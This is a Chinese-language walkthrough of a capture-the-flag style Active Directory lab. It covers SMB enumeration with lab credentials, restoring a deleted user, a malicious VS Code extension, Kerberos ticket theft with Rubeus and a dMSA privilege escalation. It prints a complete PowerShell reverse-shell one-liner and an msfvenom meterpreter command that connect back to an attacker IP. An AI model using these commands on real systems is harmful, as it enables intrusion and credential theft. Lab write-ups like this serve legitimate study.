将域名信息写入hosts
image.png

枚举

使用smbmap进行枚举

1
smbmap -H 10.129.34.224 -u "alex.turner" -p "Checkpoint2024!"

枚举用户名

1
nxc smb 10.129.34.224 -u "alex.turner" -p "Checkpoint2024!" --users

image.png

使用bloodyad收集acl提权方法

注意到这里有一个可写可疑的已删除用户：Mark Davies

这里好像是有个点没显示出来，反正是成功恢复Mark.Davies
image.png

再次使用通用的密码，发现可以登录，同时注意到DevDrop可写，可以尝试vscode恶意插件

image.png

在网络上查找vscode插件编写的方法
得知需要下面三个文件：
package.json：用于表明vscode执行参数
image.png

exp.js：放入攻击shell，使用javascript编写
image.png

vsixmanifest：用于说明插件身份信息，方便打成vimx

反复测试ing…
反正最后是成功了
image.png

1
$client = New-Object System.Net.Sockets.TCPClient('10.10.16.150',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

image.png

升级shell

msf生成木马

1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.150 LPORT=4000 -f exe > 1.exe

image.png
开启http服务器上传后使用msfconsole获取shell

获取TGT

一开始使用mimikatz没有成功

后面使用rubeus成功
image.png

1
Rubeus.exe tgtdeleg /nowrap

获取后拿到主机解密，同时获取kerberus密钥：

1
ticketConverter.py  1.kirbi ryan.ccache

image.png

枚举2

再次枚举，查看自身组和权限

1
Get-ADOrganizationalUnit -Filter *

image.png
image.png

注意到这个，通过网络查询可知
image.png

提权

首先创建一个用户evil-dmsa并迁移数据
image.png

使用smb，注意到这里有一个特殊的shares
image.png

image.png
拿下hash
image.png